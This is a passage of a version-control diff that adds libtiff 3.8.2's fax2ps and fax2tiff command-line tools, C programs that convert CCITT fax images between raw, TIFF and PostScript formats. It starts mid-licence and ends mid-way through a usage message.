+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+#include "tif_config.h"
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <math.h>
+#include <time.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#ifdef HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffio.h"
+
+float	defxres = 204.;		/* default x resolution (pixels/inch) */
+float	defyres = 98.;		/* default y resolution (lines/inch) */
+const float half = 0.5;
+const float points = 72.0;
+float	pageWidth = 0;		/* image page width (inches) */
+float	pageHeight = 0;		/* image page length (inches) */
+int	scaleToPage = 0;	/* if true, scale raster to page dimensions */
+int	totalPages = 0;		/* total # pages printed */
+int	row;			/* current output row */
+int	maxline = 512;		/* max output line of PostScript */
+
+/*
+ * Turn a bit-mapped scanline into the appropriate sequence
+ * of PostScript characters to be rendered.
+ *  
+ * Original version written by Bret D. Whissel,
+ * Florida State University Meteorology Department
+ * March 13-15, 1995.
+ */
+static void
+printruns(unsigned char* buf, uint32* runs, uint32* erun, uint32 lastx)
+{
+    static struct {
+	char white, black;
+	unsigned short width;
+    } WBarr[] = {
+	{ 'd', 'n', 512 }, { 'e', 'o', 256 }, { 'f', 'p', 128 },
+	{ 'g', 'q',  64 }, { 'h', 'r',  32 }, { 'i', 's',  16 },
+	{ 'j', 't',   8 }, { 'k', 'u',   4 }, { 'l', 'v',   2 },
+	{ 'm', 'w',   1 }
+    };
+    static char* svalue =
+	" !\"#$&'*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abc";
+    int colormode = 1;		/* 0 for white, 1 for black */
+    uint32 runlength = 0;
+    int n = maxline;
+    uint32 x = 0;
+    int l;
+
+    (void) buf;
+    printf("%d m(", row++);
+    while (runs < erun) {
+	if (runlength <= 0) {
+	    colormode ^= 1;
+	    runlength = *runs++;
+	    if (x+runlength > lastx)
+		runlength = runs[-1] = lastx-x;
+	    x += runlength;
+	    if (!colormode && runs == erun)	
+		break;		/* don't bother printing the final white run */
+	}
+	/*
+	 * If a runlength is greater than 6 pixels, then spit out
+	 * black or white characters until the runlength drops to
+	 * 6 or less.  Once a runlength is <= 6, then combine black
+	 * and white runlengths until a 6-pixel pattern is obtained.
+	 * Then write out the special character.  Six-pixel patterns
+	 * were selected since 64 patterns is the largest power of
+	 * two less than the 92 "easily printable" PostScript
+	 * characters (i.e., no escape codes or octal chars).
+	 */
+	l = 0;
+	while (runlength > 6) {	/* Run is greater than six... */
+	    if (runlength >= WBarr[l].width) {
+		if (n == 0) {
+		    putchar('\n');
+		    n = maxline;
+		}
+		putchar(colormode ? WBarr[l].black : WBarr[l].white), n--;
+		runlength -= WBarr[l].width;
+	    } else
+		l++;
+	}
+	while (runlength > 0 && runlength <= 6) {
+	    uint32 bitsleft = 6;
+	    int t = 0;
+	    while (bitsleft) {
+		if (runlength <= bitsleft) {
+		    if (colormode)
+			t |= ((1 << runlength)-1) << (bitsleft-runlength);
+		    bitsleft -= runlength;
+		    runlength = 0;
+		    if (bitsleft) {
+			if (runs >= erun)
+			    break;
+			colormode ^= 1;
+			runlength = *runs++;
+			if (x+runlength > lastx)
+			    runlength = runs[-1] = lastx-x;
+			x += runlength;
+		    }
+		} else {		/* runlength exceeds bits left */
+		    if (colormode)
+			t |= ((1 << bitsleft)-1);
+		    runlength -= bitsleft;
+		    bitsleft = 0;
+		}
+	    }
+	    if (n == 0) {
+		putchar('\n');
+		n = maxline;
+	    }
+	    putchar(svalue[t]), n--;
+	}
+    }
+    printf(")s\n");
+}
+
+/* 
+ * Create a special PostScript font for printing FAX documents.  By taking
+ * advantage of the font-cacheing mechanism, a substantial speed-up in 
+ * rendering time is realized. 
+ */
+static void
+emitFont(FILE* fd)
+{
+    static const char* fontPrologue[] = {
+	"/newfont 10 dict def newfont begin /FontType 3 def /FontMatrix [1",
+	"0 0 1 0 0] def /FontBBox [0 0 512 1] def /Encoding 256 array def",
+	"0 1 31{Encoding exch /255 put}for 120 1 255{Encoding exch /255",
+	"put}for Encoding 37 /255 put Encoding 40 /255 put Encoding 41 /255",
+	"put Encoding 92 /255 put /count 0 def /ls{Encoding exch count 3",
+	"string cvs cvn put /count count 1 add def}def 32 1 36{ls}for",
+	"38 1 39{ls}for 42 1 91{ls}for 93 1 99{ls}for /count 100",
+	"def 100 1 119{ls}for /CharDict 5 dict def CharDict begin /white",
+	"{dup 255 eq{pop}{1 dict begin 100 sub neg 512 exch bitshift",
+	"/cw exch def cw 0 0 0 cw 1 setcachedevice end}ifelse}def /black",
+	"{dup 255 eq{pop}{1 dict begin 110 sub neg 512 exch bitshift",
+	"/cw exch def cw 0 0 0 cw 1 setcachedevice 0 0 moveto cw 0 rlineto",
+	"0 1 rlineto cw neg 0 rlineto closepath fill end}ifelse}def /numbuild",
+	"{dup 255 eq{pop}{6 0 0 0 6 1 setcachedevice 0 1 5{0 moveto",
+	"dup 32 and 32 eq{1 0 rlineto 0 1 rlineto -1 0 rlineto closepath",
+	"fill newpath}if 1 bitshift}for pop}ifelse}def /.notdef {}",
+	"def /255 {}def end /BuildChar{exch begin dup 110 ge{Encoding",
+	"exch get 3 string cvs cvi CharDict /black get}{dup 100 ge {Encoding",
+	"exch get 3 string cvs cvi CharDict /white get}{Encoding exch get",
+	"3 string cvs cvi CharDict /numbuild get}ifelse}ifelse exec end",
+	"}def end /Bitfont newfont definefont 1 scalefont setfont",
+	NULL
+    };
+    int i;
+    for (i = 0; fontPrologue[i] != NULL; i++)
+	fprintf(fd, "%s\n", fontPrologue[i]);
+}
+
+void
+printTIF(TIFF* tif, uint16 pageNumber)
+{
+    uint32 w, h;
+    uint16 unit, compression;
+    float xres, yres, scale = 1.0;
+    tstrip_t s, ns;
+    time_t creation_time;
+
+    TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h);
+    TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w);
+    if (!TIFFGetField(tif, TIFFTAG_COMPRESSION, &compression)
+	|| compression < COMPRESSION_CCITTRLE
+	|| compression > COMPRESSION_CCITT_T6)
+	return;
+    if (!TIFFGetField(tif, TIFFTAG_XRESOLUTION, &xres) || !xres) {
+	TIFFWarning(TIFFFileName(tif),
+	    "No x-resolution, assuming %g dpi", defxres);
+	xres = defxres;
+    }
+    if (!TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres) || !yres) {
+	TIFFWarning(TIFFFileName(tif),
+	    "No y-resolution, assuming %g lpi", defyres);
+	yres = defyres;					/* XXX */
+    }
+    if (TIFFGetField(tif, TIFFTAG_RESOLUTIONUNIT, &unit) &&
+      unit == RESUNIT_CENTIMETER) {
+	xres *= 2.54F;
+	yres *= 2.54F;
+    }
+    if (pageWidth == 0)
+	pageWidth = w / xres;
+    if (pageHeight == 0)
+	pageHeight = h / yres;
+
+    printf("%%!PS-Adobe-3.0\n");
+    printf("%%%%Creator: fax2ps\n");
+#ifdef notdef
+    printf("%%%%Title: %s\n", file);
+#endif
+    creation_time = time(0);
+    printf("%%%%CreationDate: %s", ctime(&creation_time));
+    printf("%%%%Origin: 0 0\n");
+    printf("%%%%BoundingBox: 0 0 %u %u\n",
+	(int)(pageWidth * points), (int)(pageHeight * points));	/* XXX */
+    printf("%%%%Pages: (atend)\n");
+    printf("%%%%EndComments\n");
+    printf("%%%%BeginProlog\n");
+    emitFont(stdout);
+    printf("/d{bind def}def\n"); /* bind and def proc */
+    printf("/m{0 exch moveto}d\n");
+    printf("/s{show}d\n");
+    printf("/p{showpage}d \n");	/* end page */
+    printf("%%%%EndProlog\n");
+    printf("%%%%Page: \"%u\" %u\n", pageNumber, pageNumber);
+    printf("/$pageTop save def gsave\n");
+    if (scaleToPage)
+        scale = pageHeight / (h/yres) < pageWidth / (w/xres) ?
+            pageHeight / (h/yres) : pageWidth / (w/xres);
+    printf("%g %g translate\n",
+           points * (pageWidth - scale*w/xres) * half,
+           points * (scale*h/yres + (pageHeight - scale*h/yres) * half));
+    printf("%g %g scale\n", points/xres*scale, -points/yres*scale);
+    printf("0 setgray\n");
+    TIFFSetField(tif, TIFFTAG_FAXFILLFUNC, printruns);
+    ns = TIFFNumberOfStrips(tif);
+    row = 0;
+    for (s = 0; s < ns; s++)
+	(void) TIFFReadEncodedStrip(tif, s, (tdata_t) NULL, (tsize_t) -1);
+    printf("p\n");
+    printf("grestore $pageTop restore\n");
+    totalPages++;
+}
+
+#define	GetPageNumber(tif) \
+TIFFGetField(tif, TIFFTAG_PAGENUMBER, &pn, &ptotal)
+
+int
+findPage(TIFF* tif, uint16 pageNumber)
+{
+    uint16 pn = (uint16) -1;
+    uint16 ptotal = (uint16) -1;
+    if (GetPageNumber(tif)) {
+	while (pn != pageNumber && TIFFReadDirectory(tif) && GetPageNumber(tif))
+	    ;
+	return (pn == pageNumber);
+    } else
+	return (TIFFSetDirectory(tif, (tdir_t)(pageNumber-1)));
+}
+
+void
+fax2ps(TIFF* tif, uint16 npages, uint16* pages, char* filename)
+{
+    if (npages > 0) {
+	uint16 pn, ptotal;
+	int i;
+
+	if (!GetPageNumber(tif))
+	    fprintf(stderr, "%s: No page numbers, counting directories.\n",
+		filename);
+	for (i = 0; i < npages; i++) {
+	    if (findPage(tif, pages[i]))
+		printTIF(tif, pages[i]);
+	    else
+		fprintf(stderr, "%s: No page number %d\n", filename, pages[i]);
+	}
+    } else {
+	uint16 pageNumber = 0;
+	do
+	    printTIF(tif, pageNumber++);
+	while (TIFFReadDirectory(tif));
+    }
+}
+
+#undef GetPageNumber
+
+static int
+pcompar(const void* va, const void* vb)
+{
+    const int* pa = (const int*) va;
+    const int* pb = (const int*) vb;
+    return (*pa - *pb);
+}
+
+static	void usage(int code);
+
+int
+main(int argc, char** argv)
+{
+    extern int optind;
+    extern char* optarg;
+    uint16 *pages = NULL, npages = 0, pageNumber;
+    int c, dowarnings = 0;		/* if 1, enable library warnings */
+    TIFF* tif;
+
+    while ((c = getopt(argc, argv, "l:p:x:y:W:H:wS")) != -1)
+	switch (c) {
+	case 'H':		/* page height */
+	    pageHeight = (float)atof(optarg);
+	    break;
+	case 'S':		/* scale to page */
+	    scaleToPage = 1;
+	    break;
+	case 'W':		/* page width */
+	    pageWidth = (float)atof(optarg);
+	    break;
+	case 'p':		/* print specific page */
+	    pageNumber = (uint16)atoi(optarg);
+	    if (pages)
+		pages = (uint16*) realloc(pages, (npages+1)*sizeof(uint16));
+	    else
+		pages = (uint16*) malloc(sizeof(uint16));
+	    pages[npages++] = pageNumber;
+	    break;
+	case 'w':
+	    dowarnings = 1;
+	    break;
+	case 'x':
+	    defxres = (float)atof(optarg);
+	    break;
+	case 'y':
+	    defyres = (float)atof(optarg);
+	    break;
+	case 'l':
+	    maxline = atoi(optarg);
+	    break;
+	case '?':
+	    usage(-1);
+	}
+    if (npages > 0)
+	qsort(pages, npages, sizeof(uint16), pcompar);
+    if (!dowarnings)
+	TIFFSetWarningHandler(0);
+    if (optind < argc) {
+	do {
+	    tif = TIFFOpen(argv[optind], "r");
+	    if (tif) {
+		fax2ps(tif, npages, pages, argv[optind]);
+		TIFFClose(tif);
+	    } else
+		fprintf(stderr, "%s: Can not open, or not a TIFF file.\n",
+		    argv[optind]);
+	} while (++optind < argc);
+    } else {
+	int n;
+	FILE* fd;
+	char buf[16*1024];
+
+	fd = tmpfile();
+	if (fd == NULL) {
+	    fprintf(stderr, "Could not create temporary file, exiting.\n");
+	    fclose(fd);
+	    exit(-2);
+	}
+	while ((n = read(fileno(stdin), buf, sizeof (buf))) > 0)
+	    write(fileno(fd), buf, n);
+	lseek(fileno(fd), 0, SEEK_SET);
+#if defined(_WIN32) && defined(USE_WIN32_FILEIO)
+	tif = TIFFFdOpen(_get_osfhandle(fileno(fd)), "temp", "r");
+#else
+	tif = TIFFFdOpen(fileno(fd), "temp", "r");
+#endif
+	if (tif) {
+	    fax2ps(tif, npages, pages, "<stdin>");
+	    TIFFClose(tif);
+	} else
+	    fprintf(stderr, "Can not open, or not a TIFF file.\n");
+	fclose(fd);
+    }
+    printf("%%%%Trailer\n");
+    printf("%%%%Pages: %u\n", totalPages);
+    printf("%%%%EOF\n");
+
+    return (0);
+}
+
+char* stuff[] = {
+"usage: fax2ps [options] [input.tif ...]",
+"where options are:",
+" -w            suppress warning messages",
+" -l chars      set maximum output line length for generated PostScript",
+" -p page#      select page to print (can use multiple times)",
+" -x xres       set default horizontal resolution of input data (dpi)",
+" -y yres       set default vertical resolution of input data (lpi)",
+" -S            scale output to page size",
+" -W width      set output page width (inches), default is 8.5",
+" -H height     set output page height (inches), default is 11",
+NULL
+};
+
+static void
+usage(int code)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(code);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/fax2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/fax2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,462 @@
+/* $Id: fax2tiff.c,v 1.18 2006/03/21 16:37:51 dron Exp $ */
+
+/*
+ * Copyright (c) 1990-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/* 
+ * Convert a CCITT Group 3 or 4 FAX file to TIFF Group 3 or 4 format.
+ */
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>		/* should have atof & getopt */
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#ifdef HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#ifdef HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffiop.h"
+
+#ifndef BINMODE
+# define	BINMODE
+#endif
+
+#ifndef EXIT_SUCCESS
+# define EXIT_SUCCESS	0
+#endif
+#ifndef EXIT_FAILURE
+# define EXIT_FAILURE	1
+#endif
+
+#define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3)
+
+TIFF	*faxTIFF;
+char	*rowbuf;
+char	*refbuf;
+
+uint32	xsize = 1728;
+int	verbose;
+int	stretch;
+uint16	badfaxrun;
+uint32	badfaxlines;
+
+int	copyFaxFile(TIFF* tifin, TIFF* tifout);
+static	void usage(void);
+
+int
+main(int argc, char* argv[])
+{
+	FILE *in;
+	TIFF *out = NULL;
+	TIFFErrorHandler whandler = NULL;
+	int compression_in = COMPRESSION_CCITTFAX3;
+	int compression_out = COMPRESSION_CCITTFAX3;
+	int fillorder_in = FILLORDER_LSB2MSB;
+	int fillorder_out = FILLORDER_LSB2MSB;
+	uint32 group3options_in = 0;	/* 1d-encoded */
+	uint32 group3options_out = 0;	/* 1d-encoded */
+	uint32 group4options_in = 0;	/* compressed */
+	uint32 group4options_out = 0;	/* compressed */
+	uint32 defrowsperstrip = (uint32) 0;
+	uint32 rowsperstrip;
+	int photometric_in = PHOTOMETRIC_MINISWHITE;
+	int photometric_out = PHOTOMETRIC_MINISWHITE;
+	int mode = FAXMODE_CLASSF;
+	int rows;
+	int c;
+	int pn, npages;
+	float resY = 196.0;
+	extern int optind;
+	extern char* optarg;
+
+
+	while ((c = getopt(argc, argv, "R:X:o:1234ABLMPUW5678abcflmprsuvwz?")) != -1)
+		switch (c) {
+			/* input-related options */
+		case '3':		/* input is g3-encoded */
+			compression_in = COMPRESSION_CCITTFAX3;
+			break;
+		case '4':		/* input is g4-encoded */
+			compression_in = COMPRESSION_CCITTFAX4;
+			break;
+		case 'U':		/* input is uncompressed (g3 and g4) */
+			group3options_in |= GROUP3OPT_UNCOMPRESSED;
+			group4options_in |= GROUP4OPT_UNCOMPRESSED;
+			break;
+		case '1':		/* input is 1d-encoded (g3 only) */
+			group3options_in &= ~GROUP3OPT_2DENCODING;
+			break;
+		case '2':		/* input is 2d-encoded (g3 only) */
+			group3options_in |= GROUP3OPT_2DENCODING;
+			break;
+		case 'P':	/* input has not-aligned EOL (g3 only) */
+			group3options_in &= ~GROUP3OPT_FILLBITS;
+			break;
+		case 'A':		/* input has aligned EOL (g3 only) */
+			group3options_in |= GROUP3OPT_FILLBITS;
+			break;
+		case 'W':		/* input has 0 mean white */
+			photometric_in = PHOTOMETRIC_MINISWHITE;
+			break;
+		case 'B':		/* input has 0 mean black */
+			photometric_in = PHOTOMETRIC_MINISBLACK;
+			break;
+		case 'L':		/* input has lsb-to-msb fillorder */
+			fillorder_in = FILLORDER_LSB2MSB;
+			break;
+		case 'M':		/* input has msb-to-lsb fillorder */
+			fillorder_in = FILLORDER_MSB2LSB;
+			break;
+		case 'R':		/* input resolution */
+			resY = (float) atof(optarg);
+			break;
+		case 'X':		/* input width */
+			xsize = (uint32) atoi(optarg);
+			break;
+
+			/* output-related options */
+		case '7':		/* generate g3-encoded output */
+			compression_out = COMPRESSION_CCITTFAX3;
+			break;
+		case '8':		/* generate g4-encoded output */
+			compression_out = COMPRESSION_CCITTFAX4;
+			break;
+		case 'u':	/* generate uncompressed output (g3 and g4) */
+			group3options_out |= GROUP3OPT_UNCOMPRESSED;
+			group4options_out |= GROUP4OPT_UNCOMPRESSED;
+			break;
+		case '5':	/* generate 1d-encoded output (g3 only) */
+			group3options_out &= ~GROUP3OPT_2DENCODING;
+			break;
+		case '6':	/* generate 2d-encoded output (g3 only) */
+			group3options_out |= GROUP3OPT_2DENCODING;
+			break;
+		case 'c':		/* generate "classic" g3 format */
+			mode = FAXMODE_CLASSIC;
+			break;
+		case 'f':		/* generate Class F format */
+			mode = FAXMODE_CLASSF;
+			break;
+		case 'm':		/* output's fillorder is msb-to-lsb */
+			fillorder_out = FILLORDER_MSB2LSB;
+			break;
+		case 'l':		/* output's fillorder is lsb-to-msb */
+			fillorder_out = FILLORDER_LSB2MSB;
+			break;
+		case 'o':
+			out = TIFFOpen(optarg, "w");
+			if (out == NULL) {
+				fprintf(stderr,
+				    "%s: Can not create or open %s\n",
+				    argv[0], optarg);
+				return EXIT_FAILURE;
+			}
+			break;
+		case 'a':	/* generate EOL-aligned output (g3 only) */
+			group3options_out |= GROUP3OPT_FILLBITS;
+			break;
+		case 'p':	/* generate not EOL-aligned output (g3 only) */
+			group3options_out &= ~GROUP3OPT_FILLBITS;
+			break;
+		case 'r':		/* rows/strip */
+			defrowsperstrip = atol(optarg);
+			break;
+		case 's':		/* stretch image by dup'ng scanlines */
+			stretch = 1;
+			break;
+		case 'w':		/* undocumented -- for testing */
+			photometric_out = PHOTOMETRIC_MINISWHITE;
+			break;
+		case 'b':		/* undocumented -- for testing */
+			photometric_out = PHOTOMETRIC_MINISBLACK;
+			break;
+		case 'z':		/* undocumented -- for testing */
+			compression_out = COMPRESSION_LZW;
+			break;
+		case 'v':		/* -v for info */
+			verbose++;
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	npages = argc - optind;
+	if (npages < 1)
+		usage();
+
+	rowbuf = _TIFFmalloc(TIFFhowmany8(xsize));
+	refbuf = _TIFFmalloc(TIFFhowmany8(xsize));
+	if (rowbuf == NULL || refbuf == NULL) {
+		fprintf(stderr, "%s: Not enough memory\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (out == NULL) {
+		out = TIFFOpen("fax.tif", "w");
+		if (out == NULL) {
+			fprintf(stderr, "%s: Can not create fax.tif\n",
+			    argv[0]);
+			return (EXIT_FAILURE);
+		}
+	}
+		
+	faxTIFF = TIFFClientOpen("(FakeInput)", "w",
+	/* TIFFClientOpen() fails if we don't set existing value here */
+				 TIFFClientdata(out),
+				 TIFFGetReadProc(out), TIFFGetWriteProc(out),
+				 TIFFGetSeekProc(out), TIFFGetCloseProc(out),
+				 TIFFGetSizeProc(out), TIFFGetMapFileProc(out),
+				 TIFFGetUnmapFileProc(out));
+	if (faxTIFF == NULL) {
+		fprintf(stderr, "%s: Can not create fake input file\n",
+		    argv[0]);
+		return (EXIT_FAILURE);
+	}
+	TIFFSetMode(faxTIFF, O_RDONLY);
+	TIFFSetField(faxTIFF, TIFFTAG_IMAGEWIDTH,	xsize);
+	TIFFSetField(faxTIFF, TIFFTAG_SAMPLESPERPIXEL,	1);
+	TIFFSetField(faxTIFF, TIFFTAG_BITSPERSAMPLE,	1);
+	TIFFSetField(faxTIFF, TIFFTAG_FILLORDER,	fillorder_in);
+	TIFFSetField(faxTIFF, TIFFTAG_PLANARCONFIG,	PLANARCONFIG_CONTIG);
+	TIFFSetField(faxTIFF, TIFFTAG_PHOTOMETRIC,	photometric_in);
+	TIFFSetField(faxTIFF, TIFFTAG_YRESOLUTION,	resY);
+	TIFFSetField(faxTIFF, TIFFTAG_RESOLUTIONUNIT,	RESUNIT_INCH);
+	
+	/* NB: this must be done after directory info is setup */
+	TIFFSetField(faxTIFF, TIFFTAG_COMPRESSION, compression_in);
+	if (compression_in == COMPRESSION_CCITTFAX3)
+		TIFFSetField(faxTIFF, TIFFTAG_GROUP3OPTIONS, group3options_in);
+	else if (compression_in == COMPRESSION_CCITTFAX4)
+		TIFFSetField(faxTIFF, TIFFTAG_GROUP4OPTIONS, group4options_in);
+	for (pn = 0; optind < argc; pn++, optind++) {
+		in = fopen(argv[optind], "r" BINMODE);
+		if (in == NULL) {
+			fprintf(stderr,
+			    "%s: %s: Can not open\n", argv[0], argv[optind]);
+			continue;
+		}
+#if defined(_WIN32) && defined(USE_WIN32_FILEIO)
+                TIFFSetClientdata(faxTIFF, (thandle_t)_get_osfhandle(fileno(in)));
+#else
+                TIFFSetClientdata(faxTIFF, (thandle_t)fileno(in));
+#endif
+		TIFFSetFileName(faxTIFF, (const char*)argv[optind]);
+		TIFFSetField(out, TIFFTAG_IMAGEWIDTH, xsize);
+		TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 1);
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression_out);
+		TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric_out);
+		TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+		TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 1);
+		switch (compression_out) {
+			/* g3 */
+			case COMPRESSION_CCITTFAX3:
+			TIFFSetField(out, TIFFTAG_GROUP3OPTIONS,
+				     group3options_out);
+			TIFFSetField(out, TIFFTAG_FAXMODE, mode);
+			rowsperstrip =
+				(defrowsperstrip)?defrowsperstrip:(uint32)-1L;
+			break;
+
+			/* g4 */
+			case COMPRESSION_CCITTFAX4:
+			TIFFSetField(out, TIFFTAG_GROUP4OPTIONS,
+				     group4options_out);
+			TIFFSetField(out, TIFFTAG_FAXMODE, mode);
+			rowsperstrip =
+				(defrowsperstrip)?defrowsperstrip:(uint32)-1L;
+			break;
+
+			default:
+			rowsperstrip = (defrowsperstrip) ?
+				defrowsperstrip : TIFFDefaultStripSize(out, 0);
+		}
+		TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+		TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+		TIFFSetField(out, TIFFTAG_FILLORDER, fillorder_out);
+		TIFFSetField(out, TIFFTAG_SOFTWARE, "fax2tiff");
+		TIFFSetField(out, TIFFTAG_XRESOLUTION, 204.0);
+		if (!stretch) {
+			TIFFGetField(faxTIFF, TIFFTAG_YRESOLUTION, &resY);
+			TIFFSetField(out, TIFFTAG_YRESOLUTION, resY);
+		} else
+			TIFFSetField(out, TIFFTAG_YRESOLUTION, 196.);
+		TIFFSetField(out, TIFFTAG_RESOLUTIONUNIT, RESUNIT_INCH);
+		TIFFSetField(out, TIFFTAG_PAGENUMBER, pn, npages);
+
+		if (!verbose)
+		    whandler = TIFFSetWarningHandler(NULL);
+		rows = copyFaxFile(faxTIFF, out);
+		fclose(in);
+		if (!verbose)
+		    (void) TIFFSetWarningHandler(whandler);
+
+		TIFFSetField(out, TIFFTAG_IMAGELENGTH, rows);
+
+		if (verbose) {
+			fprintf(stderr, "%s:\n", argv[optind]);
+			fprintf(stderr, "%d rows in input\n", rows);
+			fprintf(stderr, "%ld total bad rows\n",
+			    (long) badfaxlines);
+			fprintf(stderr, "%d max consecutive bad rows\n", badfaxrun);
+		}
+		if (compression_out == COMPRESSION_CCITTFAX3 &&
+		    mode == FAXMODE_CLASSF) {
+			TIFFSetField(out, TIFFTAG_BADFAXLINES, badfaxlines);
+			TIFFSetField(out, TIFFTAG_CLEANFAXDATA, badfaxlines ?
+			    CLEANFAXDATA_REGENERATED : CLEANFAXDATA_CLEAN);
+			TIFFSetField(out, TIFFTAG_CONSECUTIVEBADFAXLINES, badfaxrun);
+		}
+		TIFFWriteDirectory(out);
+	}
+	TIFFClose(out);
+	_TIFFfree(rowbuf);
+	_TIFFfree(refbuf);
+	return (EXIT_SUCCESS);
+}
+
+int
+copyFaxFile(TIFF* tifin, TIFF* tifout)
+{
+	uint32 row;
+	uint32 linesize = TIFFhowmany8(xsize);
+	uint16 badrun;
+	int ok;
+
+	tifin->tif_rawdatasize = TIFFGetFileSize(tifin);
+	tifin->tif_rawdata = _TIFFmalloc(tifin->tif_rawdatasize);
+	if (tifin->tif_rawdata == NULL) {
+		TIFFError(tifin->tif_name, "Not enough memory");
+		return (0);
+	}
+	if (!ReadOK(tifin, tifin->tif_rawdata, tifin->tif_rawdatasize)) {
+		TIFFError(tifin->tif_name, "Read error at scanline 0");
+		return (0);
+	}
+	tifin->tif_rawcp = tifin->tif_rawdata;
+	tifin->tif_rawcc = tifin->tif_rawdatasize;
+
+	(*tifin->tif_setupdecode)(tifin);
+	(*tifin->tif_predecode)(tifin, (tsample_t) 0);
+	tifin->tif_row = 0;
+	badfaxlines = 0;
+	badfaxrun = 0;
+
+	_TIFFmemset(refbuf, 0, linesize);
+	row = 0;
+	badrun = 0;		/* current run of bad lines */
+	while (tifin->tif_rawcc > 0) {
+		ok = (*tifin->tif_decoderow)(tifin, (tdata_t) rowbuf, 
+					     linesize, 0);
+		if (!ok) {
+			badfaxlines++;
+			badrun++;
+			/* regenerate line from previous good line */
+			_TIFFmemcpy(rowbuf, refbuf, linesize);
+		} else {
+			if (badrun > badfaxrun)
+				badfaxrun = badrun;
+			badrun = 0;
+			_TIFFmemcpy(refbuf, rowbuf, linesize);
+		}
+		tifin->tif_row++;
+
+		if (TIFFWriteScanline(tifout, rowbuf, row, 0) < 0) {
+			fprintf(stderr, "%s: Write error at row %ld.\n",
+			    tifout->tif_name, (long) row);
+			break;
+		}
+		row++;
+		if (stretch) {
+			if (TIFFWriteScanline(tifout, rowbuf, row, 0) < 0) {
+				fprintf(stderr, "%s: Write error at row %ld.\n",
+				    tifout->tif_name, (long) row);
+				break;
+			}
+			row++;
+		}
+	}
+	if (badrun > badfaxrun)
+		badfaxrun = badrun;
+	_TIFFfree(tifin->tif_rawdata);
+	return (row);
+}
+
+char* stuff[] = {
+"usage: fax2tiff [options] input.raw...",
+"where options are:",
+" -3		input data is G3-encoded		[default]",
+" -4		input data is G4-encoded",
+" -U		input data is uncompressed (G3 or G4)",
+" -1		input data is 1D-encoded (G3 only)	[default]",
+" -2		input data is 2D-encoded (G3 only)",
+" -P		input is not EOL-aligned (G3 only)	[default]",
+" -A		input is EOL-aligned (G3 only)",
+" -M		input data has MSB2LSB bit order",
+" -L		input data has LSB2MSB bit order	[default]",
+" -B		input data has min 0 means black",
+" -W		input data has min 0 means white	[default]",
